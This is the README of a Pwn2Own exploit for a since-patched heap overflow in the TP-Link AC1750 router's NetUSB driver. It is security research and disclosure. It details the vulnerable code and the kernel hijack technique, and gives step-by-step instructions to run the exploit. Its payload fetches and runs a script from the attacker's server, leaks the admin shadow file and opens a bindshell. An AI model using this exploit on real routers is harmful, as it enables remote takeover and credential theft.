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Zenith: Pwn2Own TP-Link AC1750 Smart Wi-Fi Router Remote Code Execution Vulnerability

Zenith is an exploit I wrote to compromise the TP-Link AC1750 Smart Wi-Fi Router which was part of the Routers / LAN category in the Pwn2Own Austin 2021 contest.

It exploits an integer overflow that results in a heap-buffer overflow in a kmalloc-128 slab cache in the NetUSB driver which is authored by the KCodes company. The driver listens on the br-lan interface on TCP port 20005 and parses attacker controlled data. It has been tested against the Archer C7(US)_V5_210519 firmware that was published on August 20 2021 (you can find the NetUSB.ko in TP-Link's firmware images).

The vulnerability was fixed by TP-Link in January 2022 and was assigned CVE-2022-24354 / ZDI-22-264.

Overview of the issue

I will probably try to do a full write-up of the vulnerability and how I was able to exploit it in an upcoming article on doar-e.github.io, stay tuned!

The bug is in the SoftwareBus_dispatchNormalEPMsgOut function, here is a snippet:

void *SoftwareBus_dispatchNormalEPMsgOut(SbusConnection_t *SbusConnection, char HostCommand, char Opcode)
{
  // ...
  switch (OpcodeMasked) {
    case 0x50:
        if (SoftwareBus_fillBuf(SbusConnection, ReceiveBuffer, 4)) {
          ReceivedSize = _bswapw(*(uint32_t*)ReceiveBuffer);
            AllocatedBuffer = _kmalloc(ReceivedSize + 17, 208); // <--- ReceivedSize is a 32-bit integer, the computation can overflow
            if (!AllocatedBuffer) {
                return kc_printf("INFO%04X: Out of memory in USBSoftwareBus", 4296);
            }
        [...]
            if (!SoftwareBus_fillBuf(SbusConnection, AllocatedBuffer + 16, ReceivedSize)) // <---- This is basically a `recv()` which leads to an overflow of the `AllocatedBuffer`

The exploit reaches this function via the following call chain:

-> tcpConnector (@0x10AAC)
  -> run_init_sbus (@0xCA78)
    -> initUsbSoftwareBus (@0xC700)
      -> ThreadHandleSbusConnection (@0xC5F4)
        -> SoftwareBus_dispatchNormalEPMsgOut (@0xADF0)

To exploit the issue, Zenith overflows an adjacent wait_queue_head_t.head.next structure that is placed by the socket stack of the Linux kernel with the address of a crafted wait_queue_entry_t under our control (Trasher class in the exploit code).

struct wait_queue_head {
	spinlock_t		lock;
	struct list_head	head;
};

struct wait_queue_entry {
	unsigned int		flags;
	void			*private;
	wait_queue_func_t	func;
	struct list_head	entry;
};

This structure has a function pointer that I use to hijack execution and redirect the flow to a fixed location, in a large kernel heap chunk where I staged the payload previously. The function invoking the function pointer is __wake_up_common as you can see below:

static void __wake_up_common(wait_queue_head_t *q, unsigned int mode,
			int nr_exclusive, int wake_flags, void *key)
{
	wait_queue_t *curr, *next;

	list_for_each_entry_safe(curr, next, &q->task_list, task_list) {
		unsigned flags = curr->flags;

		if (curr->func(curr, mode, wake_flags, key) &&
				(flags & WQ_FLAG_EXCLUSIVE) && !--nr_exclusive)
			break;
	}
}

Here is what it looks like in gdb once q->head.next/prev has been corrupted:

(gdb) break *__wake_up_common+0x30 if ($v0 & 0xffffff00) == 0xdeadbe00

(gdb) break sock_recvmsg if msg->msg_iov[0].iov_len == 0xffffffff

(gdb) c
Continuing.
sock_recvmsg(dst=0xffffffff85173390)

Breakpoint 2, __wake_up_common (q=0x85173480, mode=1, nr_exclusive=1, wake_flags=1, key=0xc1)
    at kernel/sched/core.c:3375
3375    kernel/sched/core.c: No such file or directory.

(gdb) p *q
$1 = {lock = {{rlock = {raw_lock = {<No data fields>}}}}, task_list = {next = 0xdeadbee1,
    prev = 0xbaadc0d1}}

(gdb) bt
#0  __wake_up_common (q=0x85173480, mode=1, nr_exclusive=1, wake_flags=1, key=0xc1)
    at kernel/sched/core.c:3375
#1  0x80141ea8 in __wake_up_sync_key (q=<optimized out>, mode=<optimized out>,
    nr_exclusive=<optimized out>, key=<optimized out>) at kernel/sched/core.c:3450
#2  0x8045d2d4 in tcp_prequeue (skb=0x87eb4e40, sk=0x851e5f80) at include/net/tcp.h:964
#3  tcp_v4_rcv (skb=0x87eb4e40) at net/ipv4/tcp_ipv4.c:1736
#4  0x8043ae14 in ip_local_deliver_finish (skb=0x87eb4e40) at net/ipv4/ip_input.c:226
#5  0x8040d640 in __netif_receive_skb (skb=0x87eb4e40) at net/core/dev.c:3341
#6  0x803c50c8 in pcnet32_rx_entry (entry=<optimized out>, rxp=0xa0c04060, lp=0x87d08c00,
    dev=0x87d08800) at drivers/net/ethernet/amd/pcnet32.c:1199
#7  pcnet32_rx (budget=16, dev=0x87d08800) at drivers/net/ethernet/amd/pcnet32.c:1212
#8  pcnet32_poll (napi=0x87d08c5c, budget=16) at drivers/net/ethernet/amd/pcnet32.c:1324
#9  0x8040dab0 in net_rx_action (h=<optimized out>) at net/core/dev.c:3944
#10 0x801244ec in __do_softirq () at kernel/softirq.c:244
#11 0x80124708 in do_softirq () at kernel/softirq.c:293
#12 do_softirq () at kernel/softirq.c:280
#13 0x80124948 in invoke_softirq () at kernel/softirq.c:337
#14 irq_exit () at kernel/softirq.c:356
#15 0x8010198c in ret_from_exception () at arch/mips/kernel/entry.S:34

All of this is possible because there is no kernel ALSR and the heap is writable / executable (no NX).

Zenith also leverages NetUSB's debug interface which is another socket listening on the port 33344. It basically sends printk string over this socket and leaks kernel-mode pointers of various allocations where we are able to place controlled data at. This is used by the Leaker class in the exploit code.

Zenith also defragments the kmalloc128 slab cache using a very basic spraying primitive to fill holes.

Finally, the payload executed is available in src/sh.remote.asm which basically executes /bin/sh -c "wget http://{local_ip}:8000/pwn.sh && chmod +x pwn.sh && ./pwn.sh".

Running the exploit

Setting the environment up

To install the dependencies, run the below commands on an Ubuntu machine 20.04:

• $ sudo apt install binutils-mips-linux-gnu binutils python3-pip
• $ pip3 install pycrypto

The binutils are used by the exploit to generate the payload at runtime as it needs to include the IP address of the HTTP server the exploit reaches to (cf prepare_payload).

def prepare_payload(name, ip_local):
    '''Read the payload pattern, assemble it and dump the assembled bytes.'''
    # Replace the local ip address in the payload
    r = open(name, 'r').read()
    tmp_payload = 'tmp.asm'
    with open(tmp_payload, 'w') as f:
        f.write(r.format(ip_local = ip_local))

    # Compile the payload
    os.system(f'mips-linux-gnu-as -march=mips32r2 {tmp_payload} -o sh.o')
    os.system(f'mips-linux-gnu-ld --omagic --section-start=.text={hex(addr_payload)} sh.o -o sh')

    # Dump the payload
    os.system('readelf -x .text sh > payload.txt')

    # Read the payload
    payload = read_payload('payload.txt',)

    # Clean-up the payload
    os.system(f'rm sh.o sh {tmp_payload} payload.txt')

    # Fix ip in pwn.sh.
    os.system(f'rm pwn.sh')
    r = open('pwn_base.sh', 'r').read()
    with open('pwn.sh', 'w') as f:
        f.write(r.format(ip_local = ip_local))

    return payload

Am I vulnerable?

To verify if your router is vulnerable it is recommended to run src/zenith-poc.py.

$ python3 zenith-poc.py --target 192.168.127.1

If your device is vulnerable, the lights should stay on for a few seconds after the script is done then turn off and the router should automatically reboot. Pay attention, because it can be a bit subtle to see :)

Running Zenith

Disclaimer: The exploit isn't reliable and that's it unfortunately failed to land during the contest 😅

For every attempt:

1. Boot the device and start a stopwatch to wait for 3min. This is the time required for the device to reach a stable booted state.
2. Run the exploit when the stopwatch hit the 3min mark.

To run the exploit, open three different shells (see pics/zenith.gif):

1. One shell to throw the exploit.
   • Run src/zenith.py with --target <IP of router> and --local <IP of where it's thrown from>.
2. One shell to start an HTTP server.
   • In src, run python3 -m http.server. When successful, the exploit will make an HTTP request to this server in order to download pwn.sh (that's what the --local argument is used).
3. One shell to connect to the bindshell when the attempt is successful.
   • Right after receiving the HTTP request leaking the admin's shadow, you can try to connect to the bindshell with nc <IP of router> 31337 -v.

The exploit waits for 1:30 minute before killing itself. There are three ending conditions:

1. It worked and reached out to the HTTP server to grab the pwn.sh file, leaked the admin's shadow and is listening on the bindshell.
2. The router crashed and rebooted. All the sockets will time out and will spew the output; at which point you can kill the exploit. This is a failed attempt.
3. The router didn't crash but no HTTP requests were received before the exploit terminated itself. This is a failed attempt.

Authors

• Axel '0vercl0k' Souchet